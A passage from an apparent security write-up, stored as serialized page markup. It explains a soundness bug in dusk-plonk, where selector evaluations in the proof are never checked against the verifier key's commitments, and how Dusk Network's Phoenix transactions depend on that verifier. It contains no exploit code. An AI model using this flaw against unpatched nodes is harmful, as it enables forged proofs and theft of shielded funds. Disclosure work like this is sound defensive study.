6],[154467],{"type":29,"value":212},{"type":23,"tag":75,"props":154469,"children":154471},{"className":154470,"style":15461},[15363],[],{"type":23,"tag":75,"props":154473,"children":154475},{"className":154474},[15273],[154476,154480,154485,154490,154495,154500,154504,154509],{"type":23,"tag":75,"props":154477,"children":154479},{"className":154478,"style":15384},[15278],[],{"type":23,"tag":75,"props":154481,"children":154483},{"className":154482,"style":32804},[15284,32803],[154484],{"type":29,"value":17255},{"type":23,"tag":75,"props":154486,"children":154488},{"className":154487},[32932],[154489],{"type":29,"value":643},{"type":23,"tag":75,"props":154491,"children":154493},{"className":154492,"style":123939},[15284,32803],[154494],{"type":29,"value":123942},{"type":23,"tag":75,"props":154496,"children":154498},{"className":154497},[32954],[154499],{"type":29,"value":1347},{"type":23,"tag":75,"props":154501,"children":154503},{"className":154502,"style":15364},[15363],[],{"type":23,"tag":75,"props":154505,"children":154507},{"className":154506},[15369],[154508],{"type":29,"value":121644},{"type":23,"tag":75,"props":154510,"children":154512},{"className":154511,"style":15364},[15363],[],{"type":23,"tag":75,"props":154514,"children":154516},{"className":154515},[15273],[154517,154521,154526,154531,154536],{"type":23,"tag":75,"props":154518,"children":154520},{"className":154519,"style":15384},[15278],[],{"type":23,"tag":75,"props":154522,"children":154524},{"className":154523,"style":33334},[15284,32803],[154525],{"type":29,"value":153946},{"type":23,"tag":75,"props":154527,"children":154529},{"className":154528},[32932],[154530],{"type":29,"value":643},{"type":23,"tag":75,"props":154532,"children":154534},{"className":154533,"style":123939},[15284,32803],[154535],{"type":29,"value":123942},{"type":23,"tag":75,"props":154537,"children":154539},{"className":154538},[32954],[154540],{"type":29,"value":1347},{"type":29,"value":154542}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":71,"props":154544,"children":154546},{"className":154545},[15256,15257],[154547],{"type":23,"tag":75,"props":154548,"children":154550},{"className":154549},[15262],[154551],{"type":23,"tag":75,"props":154552,"children":154554},{"className":154553,"ariaHidden":15268},[15267],[154555],{"type":23,"tag":75,"props":154556,"children":154558},{"className":154557},[15273],[154559,154563],{"type":23,"tag":75,"props":154560,"children":154562},{"className":154561,"style":121223},[15278],[],{"type":23,"tag":75,"props":154564,"children":154566},{"className":154565,"style":123939},[15284,32803],[154567],{"type":29,"value":123942},{"type":29,"value":154569}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":32,"props":154571,"children":154572},{},[154573,154575,154600,154602,154607],{"type":29,"value":154574},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":71,"props":154576,"children":154578},{"className":154577},[15256,15257],[154579],{"type":23,"tag":75,"props":154580,"children":154582},{"className":154581},[15262],[154583],{"type":23,"tag":75,"props":154584,"children":154586},{"className":154585,"ariaHidden":15268},[15267],[154587],{"type":23,"tag":75,"props":154588,"children":154590},{"className":154589},[15273],[154591,154595],{"type":23,"tag":75,"props":154592,"children":154594},{"className":154593,"style":121223},[15278],[],{"type":23,"tag":75,"props":154596,"children":154598},{"className":154597,"style":123939},[15284,32803],[154599],{"type":29,"value":123942},{"type":29,"value":154601},", the prover supplies ",{"type":23,"tag":9690,"props":154603,"children":154604},{},[154605],{"type":29,"value":154606},"evaluation claims",{"type":29,"value":154608}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":32,"props":154610,"children":154611},{},[154612,154614,154618],{"type":29,"value":154613},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":9690,"props":154615,"children":154616},{},[154617],{"type":29,"value":114926},{"type":29,"value":154619}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":923,"props":154621,"children":154623},{"id":154622},"what-the-verifier-is-actually-allowed-to-trust",[154624],{"type":29,"value":154625},"What the verifier is actually allowed to trust",{"type":23,"tag":32,"props":154627,"children":154628},{},[154629,154631,154636],{"type":29,"value":154630},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":16596,"props":154632,"children":154633},{},[154634],{"type":29,"value":154635},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":557},{"type":23,"tag":32,"props":154638,"children":154639},{},[154640,154642,154734,154735,154827,154829,154854,154856,154896,154897,154937,154938,155031,155032,155078,155080,155167,155168,155255,155256,155343],{"type":29,"value":154641},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":71,"props":154643,"children":154645},{"className":154644},[15256,15257],[154646],{"type":23,"tag":75,"props":154647,"children":154649},{"className":154648},[15262],[154650],{"type":23,"tag":75,"props":154651,"children":154653},{"className":154652,"ariaHidden":15268},[15267],[154654],{"type":23,"tag":75,"props":154655,"children":154657},{"className":154656},[15273],[154658,154662,154719,154724,154729],{"type":23,"tag":75,"props":154659,"children":154661},{"className":154660,"style":15384},[15278],[],{"type":23,"tag":75,"props":154663,"children":154665},{"className":154664},[15284],[154666,154671],{"type":23,"tag":75,"props":154667,"children":154669},{"className":154668,"style":33334},[15284,32803],[154670],{"type":29,"value":153946},{"type":23,"tag":75,"props":154672,"children":154674},{"className":154673},[15299],[154675],{"type":23,"tag":75,"props":154676,"children":154678},{"className":154677},[15304,32857],[154679,154708],{"type":23,"tag":75,"props":154680,"children":154682},{"className":154681},[15309],[154683,154703],{"type":23,"tag":75,"props":154684,"children":154686},{"className":154685,"style":152937},[15314],[154687],{"type":23,"tag":75,"props":154688,"children":154689},{"style":126631},[154690,154694],{"type":23,"tag":75,"props":154691,"children":154693},{"className":154692,"style":15324},[15323],[],{"type":23,"tag":75,"props":154695,"children":154697},{"className":154696},[15329,15330,15331,15332],[154698],{"type":23,"tag":75,"props":154699,"children":154701},{"className":154700,"style":103616},[15284,32803,15332],[154702],{"type":29,"value":103619},{"type":23,"tag":75,"props":154704,"children":154706},{"className":154705},[32960],[154707],{"type":29,"value":32963},{"type":23,"tag":75,"props":154709,"children":154711},{"className":154710},[15309],[154712],{"type":23,"tag":75,"props":154713,"children":154715},{"className":154714,"style":103465},[15314],[154716],{"type":23,"tag":75,"props":154717,"children":154718},{},[],{"type":23,"tag":75,"props":154720,"children":154722},{"className":154721},[32932],[154723],{"type":29,"value":643},{"type":23,"tag":75,"props":154725,"children":154727},{"className":154726,"style":123939},[15284,32803],[154728],{"type":29,"value":123942},{"type":23,"tag":75,"props":154730,"children":154732},{"className":154731},[32954],[154733],{"type":29,"value":1347},{"type":29,"value":611},{"type":23,"tag":71,"props":154736,"children":154738},{"className":154737},[15256,15257],[154739],{"type":23,"tag":75,"props":154740,"children":154742},{"className":154741},[15262],[154743],{"type":23,"tag":75,"props":154744,"children":154746},{"className":154745,"ariaHidden":15268},[15267],[154747],{"type":23,"tag":75,"props":154748,"children":154750},{"className":154749},[15273],[154751,154755,154812,154817,154822],{"type":23,"tag":75,"props":154752,"children":154754},{"className":154753,"style":15384},[15278],[],{"type":23,"tag":75,"props":154756,"children":154758},{"className":154757},[15284],[154759,154764],{"type":23,"tag":75,"props":154760,"children":154762},{"className":154761},[15284,32803],[154763],{"type":29,"value":128346},{"type":23,"tag":75,"props":154765,"children":154767},{"className":154766},[15299],[154768],{"type":23,"tag":75,"props":154769,"children":154771},{"className":154770},[15304,32857],[154772,154801],{"type":23,"tag":75,"props":154773,"children":154775},{"className":154774},[15309],[154776,154796],{"type":23,"tag":75,"props":154777,"children":154779},{"className":154778,"style":103434},[15314],[154780],{"type":23,"tag":75,"props":154781,"children":154782},{"style":103438},[154783,154787],{"type":23,"tag":75,"props":154784,"children":154786},{"className":154785,"style":15324},[15323],[],{"type":23,"tag":75,"props":154788,"children":154790},{"className":154789},[15329,15330,15331,15332],[154791],{"type":23,"tag":75,"props":154792,"children":154794},{"className":154793},[15284,15332],[154795],{"type":29,"value":7867},{"type":23,"tag":75,"props":154797,"children":154799},{"className":154798},[32960],[154800],{"type":29,"value":32963},{"type":23,"tag":75,"props":154802,"children":154804},{"className":154803},[15309],[154805],{"type":23,"tag":75,"props":154806,"children":154808},{"className":154807,"style":103465},[15314],[154809],{"type":23,"tag":75,"props":154810,"children":154811},{},[],{"type":23,"tag":75,"props":154813,"children":154815},{"className":154814},[32932],[154816],{"type":29,"value":643},{"type":23,"tag":75,"props":154818,"children":154820},{"className":154819,"style":123939},[15284,32803],[154821],{"type":29,"value":123942},{"type":23,"tag":75,"props":154823,"children":154825},{"className":154824},[32954],[154826],{"type":29,"value":1347},{"type":29,"value":154828},", the public-input polynomial at ",{"type":23,"tag":71,"props":154830,"children":154832},{"className":154831},[15256,15257],[154833],{"type":23,"tag":75,"props":154834,"children":154836},{"className":154835},[15262],[154837],{"type":23,"tag":75,"props":154838,"children":154840},{"className":154839,"ariaHidden":15268},[15267],[154841],{"type":23,"tag":75,"props":154842,"children":154844},{"className":154843},[15273],[154845,154849],{"type":23,"tag":75,"props":154846,"children":154848},{"className":154847,"style":121223},[15278],[],{"type":23,"tag":75,"props":154850,"children":154852},{"className":154851,"style":123939},[15284,32803],[154853],{"type":29,"value":123942},{"type":29,"value":154855},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":71,"props":154857,"children":154859},{"className":154858},[15256,15257],[154860],{"type":23,"tag":75,"props":154861,"children":154863},{"className":154862},[15262],[154864],{"type":23,"tag":75,"props":154865,"children":154867},{"className":154866,"ariaHidden":15268},[15267],[154868],{"type":23,"tag":75,"props":154869,"children":154871},{"className":154870},[15273],[154872,154876,154881,154886,154891],{"type":23,"tag":75,"props":154873,"children":154875},{"className":154874,"style":15384},[15278],[],{"type":23,"tag":75,"props":154877,"children":154879},{"className":154878},[15284,32803],[154880],{"type":29,"value":940},{"type":23,"tag":75,"props":154882,"children":154884},{"className":154883},[32932],[154885],{"type":29,"value":643},{"type":23,"tag":75,"props":154887,"children":154889},{"className":154888,"style":123939},[15284,32803],[154890],{"type":29,"value":123942},{"type":23,"tag":75,"props":154892,"children":154894},{"className":154893},[32954],[154895],{"type":29,"value":1347},{"type":29,"value":611},{"type":23,"tag":71,"props":154898,"children":154900},{"className":154899},[15256,15257],[154901],{"type":23,"tag":75,"props":154902,"children":154904},{"className":154903},[15262],[154905],{"type":23,"tag":75,"props":154906,"children":154908},{"className":154907,"ariaHidden":15268},[15267],[154909],{"type":23,"tag":75,"props":154910,"children":154912},{"className":154911},[15273],[154913,154917,154922,154927,154932],{"type":23,"tag":75,"props":154914,"children":154916},{"className":154915,"style":15384},[15278],[],{"type":23,"tag":75,"props":154918,"children":154920},{"className":154919},[15284,32803],[154921],{"type":29,"value":14507},{"type":23,"tag":75,"props":154923,"children":154925},{"className":154924},[32932],[154926],{"type":29,"value":643},{"type":23,"tag":75,"props":154928,"children":154930},{"className":154929,"style":123939},[15284,32803],[154931],{"type":29,"value":123942},{"type":23,"tag":75,"props":154933,"children":154935},{"className":154934},[32954],[154936],{"type":29,"value":1347},{"type":29,"value":611},{"type":23,"tag":71,"props":154939,"children":154941},{"className":154940},[15256,15257],[154942],{"type":23,"tag":75,"props":154943,"children":154945},{"className":154944},[15262],[154946],{"type":23,"tag":75,"props":154947,"children":154949},{"className":154948,"ariaHidden":15268},[15267],[154950],{"type":23,"tag":75,"props":154951,"children":154953},{"className":154952},[15273],[154954,154958,155016,155021,155026],{"type":23,"tag":75,"props":154955,"children":154957},{"className":154956,"style":15384},[15278],[],{"type":23,"tag":75,"props":154959,"children":154961},{"className":154960},[15284],[154962,154968],{"type":23,"tag":75,"props":154963,"children":154965},{"className":154964,"style":103868},[15284,32803],[154966],{"type":29,"value":154967},"σ",{"type":23,"tag":75,"props":154969,"children":154971},{"className":154970},[15299],[154972],{"type":23,"tag":75,"props":154973,"children":154975},{"className":154974},[15304,32857],[154976,155005],{"type":23,"tag":75,"props":154977,"children":154979},{"className":154978},[15309],[154980,155000],{"type":23,"tag":75,"props":154981,"children":154983},{"className":154982,"style":103434},[15314],[154984],{"type":23,"tag":75,"props":154985,"children":154986},{"style":103915},[154987,154991],{"type":23,"tag":75,"props":154988,"children":154990},{"className":154989,"style":15324},[15323],[],{"type":23,"tag":75,"props":154992,"children":154994},{"className":154993},[15329,15330,15331,15332],[154995],{"type":23,"tag":75,"props":154996,"children":154998},{"className":154997},[15284,15332],[154999],{"type":29,"value":7867},{"type":23,"tag":75,"props":155001,"children":155003},{"className":155002},[32960],[155004],{"type":29,"value":32963},{"type":23,"tag":75,"props":155006,"children":155008},{"className":155007},[15309],[155009],{"type":23,"tag":75,"props":155010,"children":155012},{"className":155011,"style":103465},[15314],[155013],{"type":23,"tag":75,"props":155014,"children":155015},{},[],{"type":23,"tag":75,"props":155017,"children":155019},{"className":155018},[32932],[155020],{"type":29,"value":643},{"type":23,"tag":75,"props":155022,"children":155024},{"className":155023,"style":123939},[15284,32803],[155025],{"type":29,"value":123942},{"type":23,"tag":75,"props":155027,"children":155029},{"className":155028},[32954],[155030],{"type":29,"value":1347},{"type":29,"value":611},{"type":23,"tag":71,"props":155033,"children":155035},{"className":155034},[15256,15257],[155036],{"type":23,"tag":75,"props":155037,"children":155039},{"className":155038},[15262],[155040],{"type":23,"tag":75,"props":155041,"children":155043},{"className":155042,"ariaHidden":15268},[15267],[155044],{"type":23,"tag":75,"props":155045,"children":155047},{"className":155046},[15273],[155048,155052,155057,155062,155067,155073],{"type":23,"tag":75,"props":155049,"children":155051},{"className":155050,"style":15384},[15278],[],{"type":23,"tag":75,"props":155053,"children":155055},{"className":155054},[15284,32803],[155056],{"type":29,"value":940},{"type":23,"tag":75,"props":155058,"children":155060},{"className":155059},[32932],[155061],{"type":29,"value":643},{"type":23,"tag":75,"props":155063,"children":155065},{"className":155064,"style":123939},[15284,32803],[155066],{"type":29,"value":123942},{"type":23,"tag":75,"props":155068,"children":155070},{"className":155069,"style":103868},[15284,32803],[155071],{"type":29,"value":155072},"ω",{"type":23,"tag":75,"props":155074,"children":155076},{"className":155075},[32954],[155077],{"type":29,"value":1347},{"type":29,"value":155079},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":71,"props":155081,"children":155083},{"className":155082},[15256,15257],[155084],{"type":23,"tag":75,"props":155085,"children":155087},{"className":155086},[15262],[155088],{"type":23,"tag":75,"props":155089,"children":155091},{"className":155090,"ariaHidden":15268},[15267],[155092],{"type":23,"tag":75,"props":155093,"children":155095},{"className":155094},[15273],[155096,155100,155105,155162],{"type":23,"tag":75,"props":155097,"children":155099},{"className":155098,"style":15384},[15278],[],{"type":23,"tag":75,"props":155101,"children":155103},{"className":155102},[32932],[155104],{"type":29,"value":814},{"type":23,"tag":75,"props":155106,"children":155108},{"className":155107},[15284],[155109,155114],{"type":23,"tag":75,"props":155110,"children":155112},{"className":155111,"style":103868},[15284,32803],[155113],{"type":29,"value":103871},{"type":23,"tag":75,"props":155115,"children":155117},{"className":155116},[15299],[155118],{"type":23,"tag":75,"props":155119,"children":155121},{"className":155120},[15304,32857],[155122,155151],{"type":23,"tag":75,"props":155123,"children":155125},{"className":155124},[15309],[155126,155146],{"type":23,"tag":75,"props":155127,"children":155129},{"className":155128,"style":152937},[15314],[155130],{"type":23,"tag":75,"props":155131,"children":155132},{"style":103915},[155133,155137],{"type":23,"tag":75,"props":155134,"children":155136},{"className":155135,"style":15324},[15323],[],{"type":23,"tag":75,"props":155138,"children":155140},{"className":155139},[15329,15330,15331,15332],[155141],{"type":23,"tag":75,"props":155142,"children":155144},{"className":155143,"style":105390},[15284,32803,15332],[155145],{"type":29,"value":105393},{"type":23,"tag":75,"props":155147,"children":155149},{"className":155148},[32960],[155150],{"type":29,"value":32963},{"type":23,"tag":75,"props":155152,"children":155154},{"className":155153},[15309],[155155],{"type":23,"tag":75,"props":155156,"children":155158},{"className":155157,"style":103465},[15314],[155159],{"type":23,"tag":75,"props":155160,"children":155161},{},[],{"type":23,"tag":75,"props":155163,"children":155165},{"className":155164},[32954],[155166],{"type":29,"value":1610},{"type":29,"value":611},{"type":23,"tag":71,"props":155169,"children":155171},{"className":155170},[15256,15257],[155172],{"type":23,"tag":75,"props":155173,"children":155175},{"className":155174},[15262],[155176],{"type":23,"tag":75,"props":155177,"children":155179},{"className":155178,"ariaHidden":15268},[15267],[155180],{"type":23,"tag":75,"props":155181,"children":155183},{"className":155182},[15273],[155184,155188,155193,155250],{"type":23,"tag":75,"props":155185,"children":155187},{"className":155186,"style":15384},[15278],[],{"type":23,"tag":75,"props":155189,"children":155191},{"className":155190},[32932],[155192],{"type":29,"value":814},{"type":23,"tag":75,"props":155194,"children":155196},{"className":155195},[15284],[155197,155202],{"type":23,"tag":75,"props":155198,"children":155200},{"className":155199,"style":103868},[15284,32803],[155201],{"type":29,"value":103871},{"type":23,"tag":75,"props":155203,"children":155205},{"className":155204},[15299],[155206],{"type":23,"tag":75,"props":155207,"children":155209},{"className":155208},[15304,32857],[155210,155239],{"type":23,"tag":75,"props":155211,"children":155213},{"className":155212},[15309],[155214,155234],{"type":23,"tag":75,"props":155215,"children":155217},{"className":155216,"style":152937},[15314],[155218],{"type":23,"tag":75,"props":155219,"children":155220},{"style":103915},[155221,155225],{"type":23,"tag":75,"props":155222,"children":155224},{"className":155223,"style":15324},[15323],[],{"type":23,"tag":75,"props":155226,"children":155228},{"className":155227},[15329,15330,15331,15332],[155229],{"type":23,"tag":75,"props":155230,"children":155232},{"className":155231,"style":103382},[15284,32803,15332],[155233],{"type":29,"value":125701},{"type":23,"tag":75,"props":155235,"children":155237},{"className":155236},[32960],[155238],{"type":29,"value":32963},{"type":23,"tag":75,"props":155240,"children":155242},{"className":155241},[15309],[155243],{"type":23,"tag":75,"props":155244,"children":155246},{"className":155245,"style":103465},[15314],[155247],{"type":23,"tag":75,"props":155248,"children":155249},{},[],{"type":23,"tag":75,"props":155251,"children":155253},{"className":155252},[32954],[155254],{"type":29,"value":1610},{"type":29,"value":611},{"type":23,"tag":71,"props":155257,"children":155259},{"className":155258},[15256,15257],[155260],{"type":23,"tag":75,"props":155261,"children":155263},{"className":155262},[15262],[155264],{"type":23,"tag":75,"props":155265,"children":155267},{"className":155266,"ariaHidden":15268},[15267],[155268],{"type":23,"tag":75,"props":155269,"children":155271},{"className":155270},[15273],[155272,155276,155281,155338],{"type":23,"tag":75,"props":155273,"children":155275},{"className":155274,"style":15384},[15278],[],{"type":23,"tag":75,"props":155277,"children":155279},{"className":155278},[32932],[155280],{"type":29,"value":814},{"type":23,"tag":75,"props":155282,"children":155284},{"className":155283},[15284],[155285,155290],{"type":23,"tag":75,"props":155286,"children":155288},{"className":155287,"style":103868},[15284,32803],[155289],{"type":29,"value":154967},{"type":23,"tag":75,"props":155291,"children":155293},{"className":155292},[15299],[155294],{"type":23,"tag":75,"props":155295,"children":155297},{"className":155296},[15304,32857],[155298,155327],{"type":23,"tag":75,"props":155299,"children":155301},{"className":155300},[15309],[155302,155322],{"type":23,"tag":75,"props":155303,"children":155305},{"className":155304,"style":103434},[15314],[155306],{"type":23,"tag":75,"props":155307,"children":155308},{"style":103915},[155309,155313],{"type":23,"tag":75,"props":155310,"children":155312},{"className":155311,"style":15324},[15323],[],{"type":23,"tag":75,"props":155314,"children":155316},{"className":155315},[15329,15330,15331,15332],[155317],{"type":23,"tag":75,"props":155318,"children":155320},{"className":155319},[15284,15332],[155321],{"type":29,"value":28751},{"type":23,"tag":75,"props":155323,"children":155325},{"className":155324},[32960],[155326],{"type":29,"value":32963},{"type":23,"tag":75,"props":155328,"children":155330},{"className":155329},[15309],[155331],{"type":23,"tag":75,"props":155332,"children":155334},{"className":155333,"style":103465},[15314],[155335],{"type":23,"tag":75,"props":155336,"children":155337},{},[],{"type":23,"tag":75,"props":155339,"children":155341},{"className":155340},[32954],[155342],{"type":29,"value":1610},{"type":29,"value":155344},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":32,"props":155346,"children":155347},{},[155348],{"type":29,"value":155349},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":30016,"props":155351,"children":155352},{},[],{"type":23,"tag":24,"props":155354,"children":155356},{"id":155355},"where-dusk-plonk-differs-from-textbook-plonk",[155357],{"type":29,"value":155358},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":32,"props":155360,"children":155361},{},[155362,155371,155373,155378,155380,155410],{"type":23,"tag":940,"props":155363,"children":155365},{"href":152237,"rel":155364},[944],[155366],{"type":23,"tag":71,"props":155367,"children":155369},{"className":155368},[],[155370],{"type":29,"value":152241},{"type":29,"value":155372}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":71,"props":155374,"children":155376},{"className":155375},[],[155377],{"type":29,"value":81736},{"type":29,"value":155379},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":71,"props":155381,"children":155383},{"className":155382},[15256,15257],[155384],{"type":23,"tag":75,"props":155385,"children":155387},{"className":155386},[15262],[155388],{"type":23,"tag":75,"props":155389,"children":155391},{"className":155390,"ariaHidden":15268},[15267],[155392],{"type":23,"tag":75,"props":155393,"children":155395},{"className":155394},[15273],[155396,155400,155405],{"type":23,"tag":75,"props":155397,"children":155399},{"className":155398,"style":121223},[15278],[],{"type":23,"tag":75,"props":155401,"children":155403},{"className":155402,"style":123939},[15284,32803],[155404],{"type":29,"value":123942},{"type":23,"tag":75,"props":155406,"children":155408},{"className":155407,"style":103868},[15284,32803],[155409],{"type":29,"value":155072},{"type":29,"value":155411},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":32,"props":155413,"children":155414},{},[155415,155417,155422,155423,155428,155430,155436,155438,155445],{"type":29,"value":155416},"The important part for this bug is the boundary between ",{"type":23,"tag":16596,"props":155418,"children":155419},{},[155420],{"type":29,"value":155421},"public circuit data",{"type":29,"value":2721},{"type":23,"tag":16596,"props":155424,"children":155425},{},[155426],{"type":29,"value":155427},"prover claims about that data at the random challenge point",{"type":29,"value":155429},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":71,"props":155431,"children":155433},{"className":155432},[],[155434],{"type":29,"value":155435},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":155437}," directly into the ",{"type":23,"tag":940,"props":155439,"children":155442},{"href":155440,"rel":155441},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[944],[155443],{"type":29,"value":155444},"linearization multi-scalar multiplication",{"type":29,"value":155446},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":32,"props":155448,"children":155449},{},[155450,155452,155477],{"type":29,"value":155451},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":71,"props":155453,"children":155455},{"className":155454},[15256,15257],[155456],{"type":23,"tag":75,"props":155457,"children":155459},{"className":155458},[15262],[155460],{"type":23,"tag":75,"props":155461,"children":155463},{"className":155462,"ariaHidden":15268},[15267],[155464],{"type":23,"tag":75,"props":155465,"children":155467},{"className":155466},[15273],[155468,155472],{"type":23,"tag":75,"props":155469,"children":155471},{"className":155470,"style":121223},[15278],[],{"type":23,"tag":75,"props":155473,"children":155475},{"className":155474,"style":123939},[15284,32803],[155476],{"type":29,"value":123942},{"type":29,"value":155478}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":32,"props":155480,"children":155481},{},[155482],{"type":29,"value":155483},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":155485,"props":155486,"children":155487},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":30016,"props":155489,"children":155490},{},[],{"type":23,"tag":24,"props":155492,"children":155494},{"id":155493},"how-dusk-uses-plonk",[155495],{"type":29,"value":155496},"How Dusk uses PLONK",{"type":23,"tag":32,"props":155498,"children":155499},{},[155500,155506],{"type":23,"tag":940,"props":155501,"children":155503},{"href":152246,"rel":155502},[944],[155504],{"type":29,"value":155505},"Dusk Network",{"type":29,"value":155507}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":27910,"props":155509,"children":155510},{},[155511,155516],{"type":23,"tag":2801,"props":155512,"children":155513},{},[155514],{"type":29,"value":155515},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":2801,"props":155517,"children":155518},{},[155519],{"type":29,"value":155520},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":32,"props":155522,"children":155523},{},[155524,155526,155537,155539,155550],{"type":29,"value":155525},"At node level, every ",{"type":23,"tag":940,"props":155527,"children":155530},{"href":155528,"rel":155529},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[944],[155531],{"type":23,"tag":71,"props":155532,"children":155534},{"className":155533},[],[155535],{"type":29,"value":155536},"ProtocolTransaction::Phoenix",{"type":29,"value":155538}," goes through ",{"type":23,"tag":940,"props":155540,"children":155543},{"href":155541,"rel":155542},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[944],[155544],{"type":23,"tag":71,"props":155545,"children":155547},{"className":155546},[],[155548],{"type":29,"value":155549},"verify_proof_with_version()",{"type":29,"value":155551}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":32,"props":155553,"children":155554},{},[155555,155557,155568,155570,155581,155582,155593,155594,155605,155606,155617],{"type":29,"value":155556},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":940,"props":155558,"children":155561},{"href":155559,"rel":155560},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[944],[155562],{"type":23,"tag":71,"props":155563,"children":155565},{"className":155564},[],[155566],{"type":29,"value":155567},"phoenix()",{"type":29,"value":155569},", for example in ",{"type":23,"tag":940,"props":155571,"children":155574},{"href":155572,"rel":155573},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[944],[155575],{"type":23,"tag":71,"props":155576,"children":155578},{"className":155577},[],[155579],{"type":29,"value":155580},"phoenix_stake()",{"type":29,"value":611},{"type":23,"tag":940,"props":155583,"children":155586},{"href":155584,"rel":155585},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[944],[155587],{"type":23,"tag":71,"props":155588,"children":155590},{"className":155589},[],[155591],{"type":29,"value":155592},"phoenix_stake_reward()",{"type":29,"value":611},{"type":23,"tag":940,"props":155595,"children":155598},{"href":155596,"rel":155597},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[944],[155599],{"type":23,"tag":71,"props":155600,"children":155602},{"className":155601},[],[155603],{"type":29,"value":155604},"phoenix_unstake()",{"type":29,"value":5777},{"type":23,"tag":940,"props":155607,"children":155610},{"href":155608,"rel":155609},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[944],[155611],{"type":23,"tag":71,"props":155612,"children":155614},{"className":155613},[],[155615],{"type":29,"value":155616},"phoenix_to_moonlight()",{"type":29,"value":155618},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":32,"props":155620,"children":155621},{},[155622],{"type":23,"tag":15189,"props":155623,"children":155626},{"alt":155624,"src":155625},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":32,"props":155628,"children":155629},{},[155630,155632,155638,155640,155647],{"type":29,"value":155631},"The PLONK implementation, ",{"type":23,"tag":940,"props":155633,"children":155636},{"href":155634,"rel":155635},"https://github.com/dusk-network/plonk",[944],[155637],{"type":29,"value":152241},{"type":29,"value":155639},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":940,"props":155641,"children":155644},{"href":155642,"rel":155643},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[944],[155645],{"type":29,"value":155646},"the original paper",{"type":29,"value":155648}," was released.",{"type":23,"tag":32,"props":155650,"children":155651},{},[155652,155654,155660],{"type":29,"value":155653},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":940,"props":155655,"children":155658},{"href":155656,"rel":155657},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[944],[155659],{"type":29,"value":2244},{"type":29,"value":155661},". The circuit enforces the following set of 